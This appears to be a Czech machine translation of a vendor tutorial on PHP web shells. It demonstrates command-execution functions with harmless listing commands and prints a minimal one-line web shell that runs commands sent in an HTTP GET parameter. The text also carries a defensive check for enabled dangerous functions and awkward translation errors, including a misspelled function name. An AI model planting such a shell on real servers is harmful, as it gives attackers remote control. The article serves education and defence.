Dubitinsider

for your information

V části 1 této série jsme se podívali na to, co webové shell je a proč se útočník bude snažit použít. V části 2 této série se podíváme na některé konkrétní příklady webových shellů vyvinutých pomocí programovacího jazyka PHP.

webové Shelly existují pro téměř každý webový programovací jazyk, na který si vzpomenete. Rozhodli jsme se zaměřit na PHP, protože je to nejpoužívanější programovací jazyk na webu.

webové Shelly PHP nedělají nic jiného než použití vestavěných funkcí PHP k provádění příkazů. Níže jsou uvedeny některé z nejběžnějších funkcí používaných k provádění příkazů shellu v PHP.

Poznámka: pro účely tohoto článku jsme upravili náš soubor hosts a poukázali na doménu www.example.com na testovací server.

system ()

funkce system() přijímá příkaz jako parametr a vydává výsledek.

následující příklad na počítači se systémem Microsoft Windows spustí příkaz dir a vrátí seznam adresářů adresáře, ve kterém je soubor PHP spuštěn.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

Provedení ls příkaz na Linux stroj dosahuje podobného výsledku.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

ostatní příkazy mají stejný účinek.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

exec() funkce přijímá příkaz jako parametr, ale není výstup výsledek. Pokud je zadán druhý volitelný parametr, výsledek bude vrácen jako pole. V opačném případě se zobrazí pouze poslední řádek výsledku, pokud se opakuje.

<?php// Executes but returns nothingexec("ls -la");?>-->

Pomocí echoexec(), bude funkce tisknout pouze poslední řádek výstupu příkazu.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Pokud je zadán druhý parametr, výsledek je vrácen v poli.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

shell_exec() funkce je podobná exec(), nicméně, to výstupy celý výsledek jako řetězec.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

passthru() funkce provede příkaz a vrátí výstup ve formátu raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

proc_open() funkce může být těžké pochopit (můžete najít podrobný popis funkce v PHP docs). Pomocí proc_open(), můžeme vytvořit handler (proces), který bude použit pro komunikaci mezi náš skript a program, který chceme spustit.

Backticks

překvapivě si toho není mnoho vývojářů PHP vědomo, ale PHP provede obsah backticks ( ` ) jako příkaz shellu.

Poznámka: backtick znak ( ` ), by neměla být zaměňována s jednoduchou uvozovku (‚)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

na Základě výše uvedeného, následující je PHP web shell v jeho nejjednodušší podobě.

<?php system($_GET);?>

používá funkci system () k provádění příkazů, které jsou předávány parametrem “ cmd “ HTTP request GET.

web shells image 2

zjistili jsme, že tyto funkce (a několik dalších) mohou být velmi nebezpečné. Co je ještě nebezpečnější je, že všechny tyto vestavěné příkazy PHP jsou ve výchozím nastavení povoleny, když PHP je nainstalován a většina správci systému, zakažte je.

Pokud si nejste jisti, zda jsou povolena na vašem systému, tyto se vrátí seznam nebezpečných funkcí, které jsou povoleny.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

ve výchozí instalaci vidíme, že všechny výše uvedené funkce jsou povoleny.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

1. Část

Úvod do Webové Náboje

Část 2

Web Skořápky 101 Pomocí PHP

3

Udržování Webové Skořápky Pod Krytem

Část 4

Web Mušle v Akci

5

Detekce & Prevence

Nejčastější otázky

Web shell je malá aplikace, která útočníkovi běží na vašem webovém serveru. Mohou pak použít tuto aplikaci pro vzdálený přístup k serveru a spouštět příkazy na něm. Webový shell sám o sobě nikdy není útokem, je to důsledek úspěšného útoku na váš web nebo webovou aplikaci. To znamená, že pokud máte webový shell, máte mnohem vážnější problém.

podívejte se, jak webový shell funguje v praxi.

počítačoví podvodníci používají webové skořápky převzít kontrolu nad již ohrožena server. Nejprve zneužívají zranitelnost na vašem webu nebo webové aplikaci, jako je SQL injection, vzdálené spuštění kódu nebo jiné. Poté nahrají webový shell na váš webový server. Od této chvíle mohou na vašem serveru spouštět jakékoli příkazy, které se jim líbí.

viz krok za krokem příklad útoku, který vede k úplnému kompromisu serveru.

webové skořápky můžete detekovat pomocí analýzy protokolu. Neměli byste se však soustředit na detekci webových shellů, ale místo toho byste měli detekovat zranitelnosti, které mohou útočníkům umožnit převzít kontrolu nad vaším serverem. I když zjistíte webový shell, nezabrání to útočníkům v opětovném převzetí kontroly, pokud jsou chyby zabezpečení stále k dispozici. Chcete-li zjistit zranitelnosti webu a zjistit, jak je odstranit, použijte Acunetix.

podívejte se, co pro vás Acunetix Premium může udělat.

nejlepší způsob, jak se chránit před webovými Shelly, je znemožnit jejich použití ve vašem systému. Můžete to udělat zpevněním serveru-odstraněním všech nadbytečných oprávnění, blokováním potenciálně nebezpečných funkcí, omezením provádění skriptů v adresářích nahrávání atd. Nejlepší je však chránit server před ohrožením pravidelným používáním Acunetixu.

Přečtěte si více o detekci a ochraně webového shellu.

Získejte nejnovější obsah na web security
ve vaší doručené poště každý týden.

SDÍLET TENTO PŘÍSPĚVEK

AUTOR
Agathoklis Prodromou
Web Systems Administrator/Developer

Akis pracoval v oblasti IT pro více než 13 let, rozvíjet své dovednosti z obranného hlediska se jako Správce Systému a Web Developer, ale i z ofenzivního hlediska se jako penetrační tester. Je držitelem různých odborných certifikací souvisejících s etickým hackováním, digitální forenzní analýzou a reakcí na incidenty.

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna.